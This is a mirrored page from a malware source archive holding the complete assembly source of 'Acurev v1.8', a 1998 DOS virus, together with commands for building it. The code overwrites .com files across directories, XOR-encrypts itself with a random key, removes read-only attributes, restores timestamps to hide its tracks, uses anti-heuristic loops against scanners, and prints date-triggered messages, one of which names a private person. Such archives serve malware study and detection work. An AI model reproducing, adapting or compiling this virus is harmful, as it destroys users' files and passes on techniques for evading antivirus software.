mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 01:46:09 +00:00
166 lines
8.0 KiB
NASM
166 lines
8.0 KiB
NASM
|
; ------------------------------------------------------------------------- ;
|
||
|
|
; Acurev v1.8 coded by KilJaeden of the Codebreakers 1998 ;
|
||
|
|
; ------------------------------------------------------------------------- ;
|
||
|
|
; Description: ;
|
||
|
|
; ;
|
||
|
|
; v1.0 - start with a simple *.com overwritter ;
|
||
|
|
; v1.1 - add XOR encryption ohhh yeah :) ;
|
||
|
|
; v1.2 - add restoring time/date stamps ;
|
||
|
|
; v1.3 - now we can infect even read only files! hah! ;
|
||
|
|
; v1.4 - why infect only one directory when you can do many? hehe ;
|
||
|
|
; v1.5 - add Anti-Heuristic tricks yehaw! ;
|
||
|
|
; v1.6 - display a message on girlfriends bday ;
|
||
|
|
; v1.7 - display a different message every saturday ;
|
||
|
|
; v1.8 - make it 666 bytes big hehe ;
|
||
|
|
; ------------------------------------------------------------------------- ;
|
||
|
|
; to compile ::] tasm acurev.asm ;
|
||
|
|
; to link :::::] tlink /t acurev.obj ;
|
||
|
|
; ------------------------------------------------------------------------- ;
|
||
|
|
|
||
|
|
code segment ; name our segment "code"
|
||
|
|
assume cs:code,ds:code ; assign CS and DS to code
|
||
|
|
org 100h ; this is a .com file now
|
||
|
|
|
||
|
|
start:
|
||
|
|
mov cx,0FFFFh ; mmmmmmmm anti-heuristics
|
||
|
|
|
||
|
|
anti_one:
|
||
|
|
jmp anti_two ; jump to anti_two
|
||
|
|
mov ax,4c00h ; terminate program
|
||
|
|
call do_int21 ; terminate this shit
|
||
|
|
|
||
|
|
anti_two:
|
||
|
|
loop anti_one ; loop anti_one heh
|
||
|
|
|
||
|
|
;xor_start:
|
||
|
|
lea si,encrypted ; SI points to encrypted area start
|
||
|
|
mov di,si ; mov SI to DI
|
||
|
|
mov cx,finished-encrypted ; # of bytes in encrypted area
|
||
|
|
call encryption ; call the encryption routine
|
||
|
|
jmp encrypted ; jump to start of encrypted area
|
||
|
|
|
||
|
|
encryption:
|
||
|
|
lodsb ; load a byte
|
||
|
|
xor al,byte ptr [decrypt] ; xor the byte with our key
|
||
|
|
stosb ; return the byte
|
||
|
|
loop encryption ; loop until done
|
||
|
|
ret ; return from call
|
||
|
|
|
||
|
|
decrypt db 0 ; decryption key value 0
|
||
|
|
|
||
|
|
encrypted:
|
||
|
|
mov ah,4eh ; find the first file
|
||
|
|
|
||
|
|
get:
|
||
|
|
xor cx,cx ; cx to 0
|
||
|
|
lea dx,comfile ; load *.com string
|
||
|
|
call do_int21 ; and get the first .com
|
||
|
|
jc new_dir ; no more .com? new dir
|
||
|
|
|
||
|
|
mov dx,9eh ; get the file name info
|
||
|
|
mov ax,4301h ; set file attributes
|
||
|
|
xor cx,cx ; to absolutely none
|
||
|
|
call do_int21 ; can infect read only files now!
|
||
|
|
|
||
|
|
mov ax,3d02h ; open the file read / write
|
||
|
|
mov dx,9eh ; get the file name info
|
||
|
|
call do_int21 ; open it / get file info now
|
||
|
|
xchg bx,ax ; move the file info to BX
|
||
|
|
|
||
|
|
mov ax,5700h ; get time / date stamps
|
||
|
|
call do_int21 ; get them now
|
||
|
|
mov time,dx ; save the value here
|
||
|
|
mov date,cx ; and save the value here
|
||
|
|
|
||
|
|
in al,40h ; get a random value from clock
|
||
|
|
mov byte ptr [decrypt],al ; save the value as our key
|
||
|
|
lea si,encrypted ; load the start of encrypted area
|
||
|
|
lea di,finished ; load the end of encrypted area
|
||
|
|
mov cx,finished-encrypted ; total # of bytes between them
|
||
|
|
call encryption ; and encrypt them now
|
||
|
|
|
||
|
|
mov ah,40h ; write to file
|
||
|
|
mov cx,encrypted-start ; total # of bytes to write
|
||
|
|
lea dx,start ; and start writting from here
|
||
|
|
call do_int21 ; write diz shitz man!
|
||
|
|
|
||
|
|
mov ah,40h ; write to file
|
||
|
|
mov cx,finished-encrypted ; total # of bytes to write
|
||
|
|
lea dx,finished ; and write from here
|
||
|
|
call do_int21 ; write it man!
|
||
|
|
|
||
|
|
mov ax,5701h ; restore time/date
|
||
|
|
mov dx,time ; from this value
|
||
|
|
mov cx,date ; and this value
|
||
|
|
call do_int21 ; restore it now
|
||
|
|
|
||
|
|
mov ah,3eh ; close the file
|
||
|
|
call do_int21 ; do it man!
|
||
|
|
|
||
|
|
mov ah,4fh ; find the next file
|
||
|
|
jmp get ; and jump back to get
|
||
|
|
|
||
|
|
new_dir:
|
||
|
|
lea dx,dot_dot ; load .. into dx
|
||
|
|
mov ah,3bh ; change directories routine
|
||
|
|
call do_int21 ; change the directory
|
||
|
|
jnc encrypted ; and lets go again baby
|
||
|
|
|
||
|
|
;payload1:
|
||
|
|
mov ah,2ah ; get the system time
|
||
|
|
call do_int21 ; get the time now
|
||
|
|
cmp dh,07 ; is it July?
|
||
|
|
jne saturday ; is it saturday tho?
|
||
|
|
cmp dl,16 ; is it the 16th?
|
||
|
|
jne saturday ; nope, skip payload :(
|
||
|
|
|
||
|
|
;payload:
|
||
|
|
mov ah,09h ; print a message
|
||
|
|
lea dx,bdaymsg ; load the message
|
||
|
|
call do_int21 ; print the message
|
||
|
|
|
||
|
|
saturday:
|
||
|
|
mov ah,2ah ; get the system time
|
||
|
|
call do_int21 ; get the time now
|
||
|
|
cmp al,006h ; is it saturday?
|
||
|
|
jne end_virus ; naw, end the virus
|
||
|
|
|
||
|
|
;satpload:
|
||
|
|
mov ah,09h ; print another message
|
||
|
|
lea dx,satdmsg ; the saturday message
|
||
|
|
call do_int21 ; print this shit!
|
||
|
|
|
||
|
|
end_virus:
|
||
|
|
int 20h ; end the virus
|
||
|
|
|
||
|
|
do_int21:
|
||
|
|
int 21h ; do the int 21h
|
||
|
|
ret ; return from call
|
||
|
|
|
||
|
|
;data_area:
|
||
|
|
|
||
|
|
satdmsg db '',10,13
|
||
|
|
db 'Acurev v1.8 coded by KilJaeden of the Codebreakers on 05/29/98',10,13
|
||
|
|
db '',10,13
|
||
|
|
db ' --> How Can You Think Freely In The Shadow Of A Church? <--',10,13
|
||
|
|
db ' --> You Cannot Sedate, All The Things You Hate <--',10,13
|
||
|
|
db '',10,13
|
||
|
|
db ' --> Your Infected <--',10,13,'$'
|
||
|
|
|
||
|
|
bdaymsg db '',10,13
|
||
|
|
db ' Happy Birthday Christine Moore *kiss* I''ll be home',10,13
|
||
|
|
db ' In less then a month now... June29th, Can''t wait!!',10,13,'$'
|
||
|
|
|
||
|
|
time dw 0h ; some space for the time
|
||
|
|
date dw 0h ; some space for the date
|
||
|
|
dot_dot db "..",0 ; changeing directories
|
||
|
|
comfile db "*.com",0 ; load up *.com hehe
|
||
|
|
db 100 dup (90h) ; make it 666 bytes
|
||
|
|
finished label near ; just a label man
|
||
|
|
code ends ; end code segment
|
||
|
|
end start ; end / where to start
|
||
|
|
|
||
|
|
; ------------------------------------------------------------------------- ;
|
||
|
|
; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ;
|
||
|
|
; ------------------------------------------------------------------------- ;
|